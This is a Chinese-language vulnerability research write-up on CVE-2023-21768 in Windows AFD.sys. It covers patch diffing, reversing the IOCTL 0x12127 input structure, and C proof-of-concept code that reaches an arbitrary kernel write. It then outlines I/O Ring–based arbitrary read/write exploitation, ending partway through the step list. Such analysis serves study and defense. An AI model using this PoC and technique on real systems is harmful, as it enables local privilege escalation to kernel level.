CVE-2023-21768 AFD for WinSock 提权漏洞利用思路探索

Page content

1. 前言

这篇文章分析了 CVE-2023-21768 漏洞,该漏洞存在于 Windows 操作系统的 AFD 驱动程序中。文章中原文指代参考链接[1]的文章,通过对该篇文章的学习,我复现并重新编写了 exploit 代码,同时根据他人在编写漏洞利用程序时的步骤,分析自己的不足之处。

文章中涉及漏洞基础分析、漏洞触发尝试(poc)、漏洞利用实现三个主要部分,同时对漏洞利用时涉及到的 I/O Ring 知识点做了简单介绍。

2. 补丁对比

通过补丁对比确定漏洞修复函数为 AfdNotifyRemoveIoCompletion,修复点增加了对于某个结构字段是否可写的检查,然后才执行赋值操作:

也就是说,漏洞未修复前,该字段可能被攻击者控制,从而写入到其他位置。

原文首先进行的是补丁对比,这是进行 Windows 漏洞分析的基本操作,如果没有其他信息,也是我在漏洞分析时会首先进行的步骤。补丁对比通常可以确定修复函数的位置,同时获取关于漏洞的一些信息。

在对修复前后的 afd.sys 文件进行对比后,发现只有一个函数进行了细微的改动,这种情况是比较幸运的,因为通常会发现存在多个函数被修改,而且改动幅度也可能很大,如果没有其他信息,很难确定漏洞究竟发生在哪个位置。

3. 交叉引用检查

根据上一小节的结论,可被攻击者控制的字段 a3 + 24 是函数 AfdNotifyRemoveIoCompletion 的第三个参数中的字段,也就是说第三个参数是一个未知结构体。

接下来检查 AfdNotifyRemoveIoCompletion 的交叉引用,看一下这个参数的来源:

.rdata:00000001C004D658                        dq offset AfdNotifySock
.rdata:00000001C004D660     AfdIrpCallDispatch dq offset AfdBind
→ AfdNotifySock(__int64 a1, __int64 a2, KPROCESSOR_MODE a3, ULONG64 a4, int a5, __int64 a6, int a7)
→ AfdNotifyRemoveIoCompletion(a3, v1, a4)

也就是说,AfdNotifyRemoveIoCompletion 的第三个参数是 AfdNotifySock 的第四个参数,而 AfdNotifySock 位于 AfdIrpCallDispatch 的上面。

从图片上很容易想到要向上找一下,看起来 AfdNotifySock 应该也在一个函数列表里面,从而找到另一个 DispatchTable AfdImmediateCallDispatch

根据 AfdImmediateCallDispatch 的交叉引用,确定这个函数可以通过 DeviceIoControl 调用,并且它的控制码保存在 AfdIoctlTable 里面:

通过计算 AfdNotifySockAfdImmediateCallDispatch 中的偏移,确定它是第 73 个元素,在 AfdIoctlTable 中找到第 73 个元素,确定 AfdNotifySock 的 IOCTL code 是 0x12127。

到这里我会尝试通过 DeviceIoControl 调用 AfdNotifySock 从而调用包含漏洞的函数。

交叉对比是很容易想到的一个步骤,因为要探索这个函数究竟有什么作用。从上面的步骤可以看出,这个漏洞确定分析起来比较简单,因为调用链很短,而且很快就看到了 DispatchTable。

原文作者是通过 Steven Vittitoe 的 Recon 演讲中的资料,确定 AFD 存在两个 DispatchTable,第二个是AfdImmediateCallDispatch,也就是说在分析的同时,作者应该也搜索了大量 AFD 相关的资料。

在找到 DispatchTable 之后,我可能无法很快地进行 IOCTL code 的计算。虽然知识点都了解,但是这一部分内容的掌握对我来说并不熟练,所以面对同样的情况,我可能会探索一阵,找一找 DevideIoControl 的代码示例,然后想办法确定 IOCTL code。

除了上述内容之外,原文作者也提到,由于第 73 个元素是 DispatchTable 中的最后一个元素,因此 AfdNotifySock 很可能是最近才加入 AFD 驱动的 Dispatch 函数。这点是我不会考虑的内容。

4. 漏洞函数调用尝试

下面的步骤就是我的独立分析了,比较符合我自己的思考顺序和逻辑,但是其实在之前也有看原文的内容,因此不确定脱离原文后,分析过程是否能够这么顺利。

4.1 参数1: hDevice

DeviceIoControl 的原型:

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

根据原型定义,需要一个设备句柄,这里有些抓瞎,不知道设备名称是什么,通过搜索找到以下代码

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize=0x310;
    DWORD virtualAddress=0x13371337;
    DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1,0,sizeof(inbuf1));
    inbuf1[6]=virtualAddress;
    inbuf1[7]=mdlSize;
    inbuf1[10]=1;
    static DWORD inbuf2[100];
    memset(inbuf2,0,sizeof(inbuf2));
    inbuf2[0]=1;
    inbuf2[1]=0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2,&WSAData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    memset(&sa,0,sizeof(sa));
    sa.sin_port=htons(135);
    sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
    sa.sin_family=AF_INET;
    ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
    DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
    return 0;
}

看起来可以传入一个 socket 作为句柄,虽然不知道对不对,但是可以试一下。

4.2 参数2: lpInBuffer

除了设备句柄之外,lpInBuffer 也需要确定,我不知道 Windows 驱动的 Dispatch Routines 是不是有什么固定的结构/方法可以确定输入缓冲区的内容,也没有搜索到,但是我搜索到了 AfdFastIoDeviceControl 的函数调用,以此可以推测该函数原型定义,这个函数就是 AfdImmediateCallDispatch 交叉引用出现的位置。

return AfdFastIoDeviceControl(
           FileObject,
           Wait,
           &sendInfo,
           sizeof(sendInfo),
           NULL,
           0,
           IOCTL_AFD_SEND,
           IoStatus,
           DeviceObject
           );

据此重新获得了 AfdFastIoDeviceControl 交叉引用处的代码:

 idx = (ioctlCode >> 2) & 0x3FF;
 if ( idx < 74 && AfdIoctlTable[idx] == ioctlCode )
 {
   func = AfdImmediateCallDispatch[idx];
   if ( func )
   {
     *v96 = func(
              FileObject,
              ioctlCode,
              mode,
              inputBuffer,
              inputBufferLength,
              outputBuffer_1,
              outputBufferLength,
              v96 + 8);
     LOBYTE(v12) = 1;
   }
 }
 goto LABEL_58;

所以 AfdNotifySock 的第四个参数,也就是我们在最开始提到的攻击者可控字段所处的结构就是驱动的输入缓冲区,这个一个我们目前未知的结构,这里同样使用原文的名称 AFD_NOTIFYSOCK_STRUCT 对该结构进行命名。

4.3 其他参数

根据已知信息在 IDA 中对 AfdNotifySock 的参数进行了重命名,很容易发现对其他参数的要求:

__int64 __fastcall AfdNotifySock(__int64 FileObject, __int64 ioctlCode, KPROCESSOR_MODE mode, ULONG64 inputBuffer, int inputBufferLength, __int64 outputBuffer, int outputBufferLength)
{
    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]  
    AfdNotifyStruct = inputBuffer;
    ...
    if ( inputBufferLength != 0x30 || outputBufferLength )
    {
      status = 0xC0000004;                        // STATUS_INFO_LENGTH_MISMATCH
      goto rtn1;
    }
    if ( outputBuffer )
      goto rtn2;
    ...
}

也就是说未知结构 AFD_NOTIFYSOCK_STRUCT 的大小是 48 字节,输出缓冲区为空,输出缓冲区大小为 0。

其余参数是可选的,可以不填。

至此,我们获得了 AfdNotifySock 的调用方法:

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    BYTE inbuf1[48];
    memset(inbuf1, 0x41, sizeof(inbuf1));

    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;

    DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
    return 0;
}

5. 漏洞路径探索

afd!AfdNotifySock 设置断点,并编译执行以上程序,可以成功断在 AfdNotifySock 上,接下来通过静态分析+动态调试的方式,确定如何构造 AFD_NOTIFYSOCK_STRUCT 结构才能执行到漏洞触发点:AfdNotifySock -> AfdNotifyRemoveIoCompletion -> **(a3+24)=v20

5.1 初步尝试

AfdNotifySock 中找到以下代码:

  if ( !*((_DWORD *)AfdNotifyStruct + 8) )       //  AfdNotifyStruct  + 0x20
    goto rtn2;
  if ( *((_DWORD *)AfdNotifyStruct + 10) )      //  AfdNotifyStruct  + 0x28
  {
    //  AfdNotifyStruct  + 0x18         //  AfdNotifyStruct  + 0x10
    if ( !*((_QWORD *)AfdNotifyStruct + 3) || !*((_QWORD *)AfdNotifyStruct + 2) )
      goto rtn2;
  }
  //  AfdNotifyStruct  + 0x10       //  AfdNotifyStruct  + 0x24
  else if ( *((_QWORD *)AfdNotifyStruct + 2) || *((_DWORD *)AfdNotifyStruct + 9) )
  {
rtn2:
    status = 0xC000000D;                        // STATUS_INVALID_PARAMETER
    goto rtn1;
  }

由以上代码可以初步推断 AFD_NOTIFYSOCK_STRUCT 构造如下:

struct AFD_NOTIFYSOCK_STRUCT {
    UNKNOWNTYPE     UNKNOWN;    // 0X00
    ULONGLONG       DATA1;      // 0X10
    ULONGLONG       CONTROLDATA; // 0X18
    DWORD           DATA2;      // 0X20
    DWORD           DATA3;      // 0X24
    ULONGLONG       DATA4;      // 0X28
}

且 ① DATA2 不为 0;② DATA4 为 0 时,DATA1 和 DATA3 均为 0;③ DATA4 不为 0 时,DATA1 和 CONTROLDATA 均不为 0

由于 CONTROLDATA 是攻击者要控制的字段,所以肯定不能是 0。因此要想触发漏洞路径, AFD_NOTIFYSOCK_STRUCT 结构中字段需要满足 ① 和 ③ 条件。

接下来是一段这样的代码:

  v11 = (struct _OBJECT_TYPE *)*IoCompletionObjectType;
  firstItem = *(void **)AfdNotifyStruct;        //  AfdNotifyStruct + 0x00
  Object = 0i64;
  status = ObReferenceObjectByHandle(firstItem, 2u, v11, mode, &Object, 0i64);      // 0x00 是 HANDLE
  object = Object;
  if ( status >= 0 )
  {
    is32 = IoIs32bitProcess(0i64);
    idx = 0;
    MmUserProbeAddress_ = (unsigned __int64 *)MmUserProbeAddress;
    while ( idx < *((_DWORD *)AfdNotifyStruct + 8) )        //  0x20 表示大小
    {
      if ( mode )
      {
        item = 0i64;
        nxtItem = 0i64;
        idx_1 = idx;
        List = *((_QWORD *)AfdNotifyStruct + 1);      //  AfdNotifyStruct + 0x08
        if ( is32 )
        {   ...
        }
        else
        {
          v19 = (_BYTE *)(List + 24i64 * idx);         // 这个循环是在遍历 0x08,所以假设这里是个列表
          if ( (unsigned __int64)v19 >= *MmUserProbeAddress_ )
            v19 = (_BYTE *)*MmUserProbeAddress_;
          item = *(_OWORD *)v19;
          nxtItem = *((_QWORD *)v19 + 2);
        }
        itemAddr_1 = &item;
        itemAddr_2 = &item;
      } else { ... }
      ...
      ++idx;
    }
    status = AfdNotifyRemoveIoCompletion(mode, (__int64)object, (_AFD_NOTIFYSOCK_STRUCT *)AfdNotifyStruct);
  }

根据以上代码,确定 AFD_NOTIFYSOCK_STRUCT 构造如下:

struct AFD_NOTIFYSOCK_STRUCT {
    HANDLE          Handle;          // 0X00
    PVOID           List;           // 0X08
    ULONGLONG       DATA1;          // 0X10
    ULONGLONG       CONTROLDATA;    // 0X18
    DWORD           Length;         // 0X20
    DWORD           DATA3;          // 0X24
    ULONGLONG       DATA4;          // 0X28
}

除此之外,Handle 字段传入 ObReferenceObjectByHandle 字段需要返回非负数,才能保证正常向下执行。

NTSTATUS ObReferenceObjectByHandle(
  [in]            HANDLE                     Handle,
  [in]            ACCESS_MASK                DesiredAccess,
  [in, optional]  POBJECT_TYPE               ObjectType,
  [in]            KPROCESSOR_MODE            AccessMode,
  [out]           PVOID                      *Object,
  [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);

根据官方文档,ObReferenceObjectByHandle 用来检查对象句柄是否可以访问,如果可以访问就将指向对象的指针保存在参数 Object 中并返回 STATUS_SUCCESS(0)

提到句柄,我第一时间想到的就是文件句柄,所以目前我能想到的就是创建一个文件句柄传进去,具体是否可行要看下面的测试。

到这里程序就可以执行进入 AfdNotifyRemoveIoCompletion 函数了。接下来我对这里的代码进行一些整理,将不会执行到以及不影响判断的分支删掉,得到以下代码:

__int64 __fastcall AfdNotifyRemoveIoCompletion(char mode, __int64 object, _AFD_NOTIFYSOCK_STRUCT *AfdNotifyStruct)
{
  v23 = 0i64;
  memset(mem, 0, sizeof(mem));
  v5 = 0i64;
  num = 0;
  data4 = LODWORD(AfdNotifyStruct->DATA4);
  mulResult = 0x20 * data4;
  if...                                         // 检查乘法不溢出
  if ( notOverflow >= 0 )
  {
    v10 = 8;
    ProbeForWrite(AfdNotifyStruct->DATA1, mulResult, v10);
    v19 = v5;
LABEL_20:
    data3 = AfdNotifyStruct->DATA3;
    v23 = -10000 * data3;
    timeout = &v23;
    if ( data4 > 0x10 )
    {
      mem_2 = ExAllocatePool2(66i64, 8i64 * data4, 1315202625i64);
      mem_1 = mem_2;
      if ( mem_2 )
        goto LABEL_27;
      LODWORD(data4) = 16;
    }
    mem_2 = mem;
    mem_1 = mem;
LABEL_27:
    notOverflow = IoRemoveIoCompletion(object_1, v5, mem_2, data4, &num, mode, timeout, 0);
    if ( !notOverflow )
    {
      if ( is32 )
      {
        for ( i = 0; i < num; ++i )
        {
          v14 = &v5[32 * i];
          v15 = (AfdNotifyStruct->DATA1 + 16i64 * i);
          *v15 = *v14;
          v15[1] = *(v14 + 2);
          v15[3] = *(v14 + 6);
          v15[2] = *(v14 + 4);
        }
      }
      *AfdNotifyStruct->CONTROLDATA = num;            // 漏洞点
      ...
    }
  }
  ...
}

这里主要是对 DATA4 乘以 32,并将结果作为参数传入 ProbeForWrite,检查 DATA1 字段的这段长度空间是否可写。因此 DATA1 也可以表示一个列表,DATA4 表示该列表的元素个数。

注意这里的 LODWORD(AfdNotifyStruct->DATA4),这里使用了 LODWORD,再加上此时确定 DATA4 同样表示元素个数,因此上面我们对这个字段长度的猜测是错的,这个字段应该是一个四字节元素,而不是八字节,同时根据 nt!IoRemoveIoCompletion 在 IDA 中反编译的结果,确定 DATA3 的真实意义和时间 timeout 有关。

struct AFD_NOTIFYSOCK_STRUCT {
    HANDLE      Handle;         // 0X00
    PVOID       List1;          // 0X08
    PVOID       List2;          // 0X10
    ULONGLONG   CONTROLDATA;    // 0X18
    DWORD       Length1;        // 0X20  控制 AfdNotifySock 中的循环次数
    DWORD       Timeout;        // 0X24
    DWORD       Length2;        // 0X28  控制 ProbeForWrite 检查范围
    DWORD       UNKNOWNDATA;    // 0x2C  
}

为了简化程序执行流程,可以直接设置 Length1 和 Length2 为 1。

接下来会调用 IoRemoveIoCompletion 函数,并且传入了之前 ObReferenceObjectByHandle 返回的指向对象的指针,我们需要确保这个函数执行成功,并返回 STATUS_SUCCESS(0)

问题就在这里,这个函数没有官方文档,Windows Internal 里面对它进行了一些介绍,但是我决定先尝试编程尝试一下,如果失败再继续研究这个函数。

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

struct AFD_NOTIFYSOCK_STRUCT {
    HANDLE      Handle;         // 0X00
    PVOID       List1;          // 0X08
    PVOID       List2;          // 0X10
    ULONGLONG   CONTROLDATA;    // 0X18
    DWORD       Length1;        // 0X20  控制 AfdNotifySock 中的循环次数
    DWORD       DATA3;          // 0X24
    DWORD       Length2;        // 0X28  控制 ProbeForWrite 检查范围
    DWORD       UNKNOWNDATA;    // 0x2C  
};

int main()
{
    int status = 0;
    struct AFD_NOTIFYSOCK_STRUCT inbuf1 = { 0 };
    //memset(inbuf1, 0x41, sizeof(inbuf1));
    printf("Start create handle\n");
    status = fopen_s((FILE**)(&inbuf1.Handle), "test.txt", "w");
    if (status) {
        printf("fopen_s error\n");
    }
    inbuf1.List1 = malloc(0x1000);
    inbuf1.List2 = malloc(0x1000);
    inbuf1.CONTROLDATA = 0x4242;
    inbuf1.Length1 = 0x1;
    inbuf1.DATA3 = 0x4141414141414141;
    inbuf1.Length2 = 0x1;

    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));

    DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)&inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
    return 0;
}

结果失败了,ObReferenceObjectByHandle 返回数值 0xc0000008,说明使用文件句柄是不行的,接下来要仔细研究一下函数 ObReferenceObjectByHandleIoRemoveIoCompletion

5.2 ObReferenceObjectByHandle

在查找资料的过程中,我发现自己没有认真观察代码中 ObReferenceObjectByHandle 函数的参数:

v11 = (struct _OBJECT_TYPE *)*IoCompletionObjectType;
firstItem = *(void **)AfdNotifyStruct;        //  AfdNotifyStruct + 0x00
status = ObReferenceObjectByHandle(firstItem, 2u, v11, mode, &Object, 0i64); 

注意这里的第三个参数,说明 ObReferenceObjectByHandle 需要的是一个 IoCompletionObjectType 类型的对象。

在 Windows Internals, Sixth Edition 第八章中有一个小节介绍了 I/O Completion Ports。

I/O Completion Ports 是为了提供一个高效的线程模型,既能减少上下文转换的次数,同时保证尽量多的线程数,在这样的要求下,需要一种机制让应用程序能够在一个线程处理 I/O 时激活另一个线程。

这就引入了 IoCompletion 运行时对象,在 Windows API 中就使用完成端口 (completion port) 进行表示,它可以表明多个文件句柄 I/O 操作的完成状态。一旦文件与一个完成端口相关联,在该文件上完成的任何异步 I/O 操作都会导致一个完成包 (completion packet) 进入完成端口的队列中。

应用程序使用 Windows API 函数 CreateIoCompletionPort 创建完成端口,其内部实际上是调用了 NtCreateIoCompletion 系统服务。

因此我们可以通过调用 CreateIoCompletionPort 创建一个 I/O Completion 对象并作为 AFD_NOTIFYSOCK_STRUCT 结构的第一字段。

HANDLE CreateIoCompletionPort(
  [in]           HANDLE    FileHandle,
  [in, optional] HANDLE    ExistingCompletionPort,
  [in]           ULONG_PTR CompletionKey,
  [in]           DWORD     NumberOfConcurrentThreads
);

CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

注意其中最后一个参数 NumberOfConcurrentThreads,它可以控制任意时刻可以运行的与端口关联的最大线程数,0 表示系统处理器的数量。

实验证明修改后 ObReferenceObjectByHandle 返回值为 0。

5.3 IoRemoveIoCompletion

从名字也可以看出来,这个函数涉及的也是和 I/O Completion 有关的知识。要明白这个函数究竟在干什么,需要对完成端口的工作机制有所了解。

根据 Windows Internals 中的介绍,完成端口中包含一个叫做内核队列 (kernel queue) 的内核同步对象,内核队列对象包含一个并发值,会在初始化的时候进行赋值,这个并发值其实就是调用 CreateIoCompletionPort 的时候传入的参数 NumberOfConcurrentThreads,也就是一个完成端口可以对应 NumberOfConcurrentThreads 个线程。

当应用程序调用 CreateIoCompletionPort 将文件句柄关联到完成端口上时,会调用 NtSetInformationFile,设置该文件句柄的 FileCompletionInformation,包括完成端口的句柄以及 CompletionKey 信息(该信息用于对不同的文件句柄进行区分),在设置信息的时候,NtSetInformationFile 会为该文件对象分配一个完成上下文 (completion context) 数据结构,并将 CompletionContext 字段指向该结构。

在实现异步 I/O 时,在某个文件对象上的操作完成后,I/O 管理器就会检查这个文件对象的 CompletionContext 字段,如果这个字段有值,就说明在通过完成端口进行管理,I/O 管理器需要创建一个完成包 (completion packet),将它添加到对应完成端口的内核队列中。

其他和这个完成端口关联的线程会通过 GetQueuedCompletionStatus 查看该完成端口中内核队列完成包的情况,这个函数会尝试从内核队列中取出一个完成包,如果队列中不存在完成包,线程就会进入等待状态,等待一段指定的时间 (即 timeout) 。其中 从内核队列中取出一个完成包 这个操作,就是在 IoRemoveIoCompletion 中完成的。

也就是说,为了保证 IoRemoveIoCompletion 返回成功,我们需要保证在调用该函数前,完成端口的内核队列中是有完成包的。

而在 Windows Internal 中也介绍了,PostQueuedCompletionStatus 会通过调用 KeInsertQueue 将一个完成包加入完成端口的队列中。

BOOL PostQueuedCompletionStatus(
  [in]           HANDLE       CompletionPort,
  [in]           DWORD        dwNumberOfBytesTransferred,
  [in]           ULONG_PTR    dwCompletionKey,
  [in, optional] LPOVERLAPPED lpOverlapped
);

5.4 再次尝试

经过修改后的代码如下:

#define _CRT_SECURE_NO_DEPRECATE
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

struct AFD_NOTIFYSOCK_STRUCT {
    HANDLE      Handle;         // 0X00
    PVOID       List1;          // 0X08
    PVOID       List2;          // 0X10
    ULONGLONG   CONTROLDATA;    // 0X18
    DWORD       Length1;        // 0X20  控制 AfdNotifySock 中的循环次数
    DWORD       DATA3;          // 0X24
    DWORD       Length2;        // 0X28  控制 ProbeForWrite 检查范围
    DWORD       UNKNOWNDATA;    // 0x2C  
};

int main()
{
    int status = 0;
    struct AFD_NOTIFYSOCK_STRUCT inbuf1 = { 0 };

    inbuf1.Handle = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
    
    if (inbuf1.Handle) {
        status = PostQueuedCompletionStatus(inbuf1.Handle, 0, 0, NULL);
        if (status == 0) {
            printf("Error when queued completion status\n");
            exit(1);
        }

    }
    else {
        printf("Error when create I/O completion port\n");
        exit(1);
    }
 
    inbuf1.List1 = malloc(0x1000);
    inbuf1.List2 = malloc(0x1000);
    inbuf1.CONTROLDATA = 0x4242;
    inbuf1.Length1 = 0x1;
    inbuf1.DATA3 = 0x4141414141414141;
    inbuf1.Length2 = 0x1;

    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));

    DeviceIoControl((HANDLE)s, 0X12127, (LPVOID)&inbuf1, sizeof(inbuf1), NULL, 0, NULL, NULL);
    return 0;
}

调试发现程序已经可以执行到漏洞发生处:

3: kd> p
afd!AfdNotifyRemoveIoCompletion+0x260:
fffff801`663dc8fc 8901            mov     dword ptr [rcx],eax
3: kd> rcx
cx=4242
3: kd> rax
ax=1

5.5 写入数据探索

到目前为止我们已经可以执行到漏洞点,根据上面的调试结果,目前发现的漏洞可以在任意地址写入数据 1,还有一点需要确认——写入的数据是否可以发生改变。

写入数据 1IoRemoveIoCompletion 调用 IoRemoveIoCompletion(object_1, v5, mem_2, count, &num, mode, pTimeout, 0) 中的 num 参数。

通过检查 IoRemoveIoCompletion 代码,发现该数值来自 KeRemoveQueueEx 的返回值

__int64 __fastcall IoRemoveIoCompletion(struct _KQUEUE *a1, __int64 a2, PLIST_ENTRY *EntryArray, ULONG Count, ULONG *outNum, KPROCESSOR_MODE a6, LARGE_INTEGER *Timeout, BOOLEAN a8)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  v10 = KeRemoveQueueEx(a1, a6, a8, Timeout, EntryArray, Count);
  // pass 这里不会对 v10 进行修改
  result = v12;

  *outNum = v10;
  return result;
}

在函数 KeRemoveQueueEx 中:

ULONG __stdcall KeRemoveQueueEx(PKQUEUE Queue, KPROCESSOR_MODE WaitMode, BOOLEAN Alertable, PLARGE_INTEGER Timeout, PLIST_ENTRY *EntryArray, ULONG Count)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  ...
  rtn = 1;
  
  if ( Count > 1 && &v27[-17].Blink + 7 > 1 && v27 != 0x80 && v27 != 0xC0 && BugCheckParameter2->Header.SignalState )
  {
    ...
    if ( BugCheckParameter2->Header.SignalState )
      rtn = (KiAttemptFastRemoveQueue)(BugCheckParameter2) + 1;
    ...
  }
  return rtn;
}

也就是说,如果参数 Count <= 1KeRemoveQueueEx 一定返回 1,而 Count 来自于 AFD_NOTIFYSOCK_STRUCT 结构中的 Length2 字段,因为我在代码中将这个字段设置成了 1,因此得到的写入数据也是 1。

根据 Windows Internal 的说明,Count 参数是用于控制一次性获取多个 I/O 完成状态,也就是说 KeRemoveQueueEx 函数可以一次性从队列中移除多个元素。

但是根据上面的代码,当 Count != 1 时,KeRemoveQueueEx 的返回值也不一定就不是 1,为了进行验证,我将代码中的 Length2 字段修改成 2,并进行了 2 次 PostQueuedCompletionStatus 的调用,保证队列中有两个完成包。

调试发现写入数据确实变成了 2。

经过多次调试,发现写入数据可以按照上述修改方法进行修改。根据上面对 AFD_NOTIFYSOCK_STRUCT 结构的分析,Length2 * 32 标识的就是 List2 指向空间的大小,因此仅根据上面的分析,Length2 的数值只需要小于 0x8000000 即可,但是实际测试发现无法设置这么大的数值,准确的极限数值没有测试,该极限数值可能和没有分析到的条件判断有关,也有可能和系统资源有关,具体原因没有继续分析。

6. 漏洞利用

漏洞利用使用了参考链接[2]介绍的内容,这部分内容我就完全参考原文了,漏洞利用的知识还需要继续学习。

6.1 I/O Ring 基础

这次漏洞利用了 Windows 的新特性——I/O Ring,其中部分功能仅存在了 Windows 11 22h2+。

在 I/O Ring 模型中,I/O 管理器在内存中创建了一个环形缓冲区,该缓冲区可以同时排队多个 I/O 操作,这样用户态程序就可以一次执行多个 I/O 操作,而不需要进行多次从用户态到内核态的转换。在目前的实现中,允许一次排队 0x10000 个 I/O 操作。

Windows 的 I/O Ring 机制模仿了 Linux 的 io_uring,因此两者的设计非常相似。目前,I/O Ring 还不支持所有的 I/O 操作,Windows 11 22H2 支持读、写、刷新和取消。请求的操作会被写入提交队列(Submission Queue),然后一起提交。内核处理请求并将状态码写入完成队列(Completion Queue),这两个队列都位于一个用户态和内核态均可访问的共享内存区域中,允许共享数据而无需多个系统调用的开销。

除了可用的 I/O 操作之外,应用程序还可以对另外两个 I/O Ring 特有的操作进行排队:预注册缓冲区和预注册文件。这两个操作允许应用程序提前打开所有的文件句柄或者提前创建好所有的输入/输出缓冲区,进行注册,然后通过索引进行引用。当内核处理一个使用预注册的文件句柄或缓冲区的条目时,它会从预注册数组中获取所请求的句柄/缓冲区,并将其传递给 I/O 管理器。

使用 CreateIoRing 创建 IoRing 之后,会得到一个 HIORING,它实际上是一个指向 _HIORING 的指针,其结构如下:

typedef struct _HIORING
{
    HANDLE handle;
    NT_IORING_INFO Info;
    ULONG IoRingKernelAcceptedVersion;
    PVOID RegBufferArray;
    ULONG BufferArraySize;
    PVOID FileHandleArray;
    ULONG FileHandlesCount;
    ULONG SubQueueHead;
    ULONG SubQueueTail;
};

实际上,系统会创建一个 IoRing 对象,结构为:

typedef struct _IORING_OBJECT
{
    USHORT Type;
    USHORT Size;
    NT_IORING_INFO UserInfo;
    PVOID Section;
    PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;
    PMDL CompletionQueueMdl;
    PNT_IORING_COMPLETION_QUEUE CompletionQueue;
    ULONG64 ViewSize;
    BYTE InSubmit;
    ULONG64 CompletionLock;
    ULONG64 SubmitCount;
    ULONG64 CompletionCount;
    ULONG64 CompletionWaitUntil;
    KEVENT CompletionEvent;
    BYTE SignalCompletionEvent;
    PKEVENT CompletionUserEvent;
    ULONG RegBuffersCount;
    PIOP_MC_BUFFER_ENTRY RegBuffers;
    ULONG RegFilesCount;
    PVOID* RegFiles;
} IORING_OBJECT, *PIORING_OBJECT;

除了 HIORING 结构外,其余结构定义均包含在符号文件中,可以自己通过 Windbg 查看。注意 _IORING_OBJECT 结构中的 RegBuffers 字段,我使用的测试机器是 Windows 11 22h2 22621.963,这个字段的类型为 PIOP_MC_BUFFER_ENTRY,但是在 Windows 11 build 22610 之前,这个字段的类型为 PIORING_BUFFER_INFO,因此漏洞利用的步骤上稍有不同,具体可查看参考链接[2]。

6.2 利用原理

在处理 I/O 请求时,I/O 管理器会:

  1. 检查提交队列项(Submission Queue Entry)的 Sqe->RegisterBuffers.BuffersSqe->RegisterBuffers.Count
  2. 如果请求来自用户态,检查预注册缓冲区是否完全处于用户态,大小是否符合要求;
  3. 在内核堆中新分配一个空间,并让 IoRing->RegBuffers 指向该空间;
  4. 检查预分配缓冲区中每一项是否在用户态,然后将其复制到新分配的内核堆空间中;

以上步骤进行了简化,没有考虑之前存在预分配缓冲区的情况,但是不影响漏洞利用原理的分析,具体仍旧可查看参考链接[2]。

在整个过程中,系统并没有检查内核堆空间的地址,如果存在内核写漏洞,就可以修改 IoRing->RegBuffers 字段值,让其指向由我们控制的假缓冲区地址。这样在之后的 I/O 操作中,就可以通过这个假缓冲区对内核地址进行任意读写操作。具体可查看下图:

6.3 漏洞利用流程

  1. 使用 CreateNamedPipe 创建两个命名管道服务端,同时使用 CreateFile 创建对应管道的客户端,这两个管道用于代表上图中的两个文件;
  2. 使用 CreateIoRing 创建 IoRing,得到类型为 _HIORING* 的句柄 HIORING;
  3. 创建假缓冲区,之后用于替换 RegBuffersHIORING 中的 RegBufferArray
  4. 找到 HIORING 对应的 IORING_OBJECT 对象,这一步需要使用 NtQuerySystemInformation 函数,获取系统句柄信息;
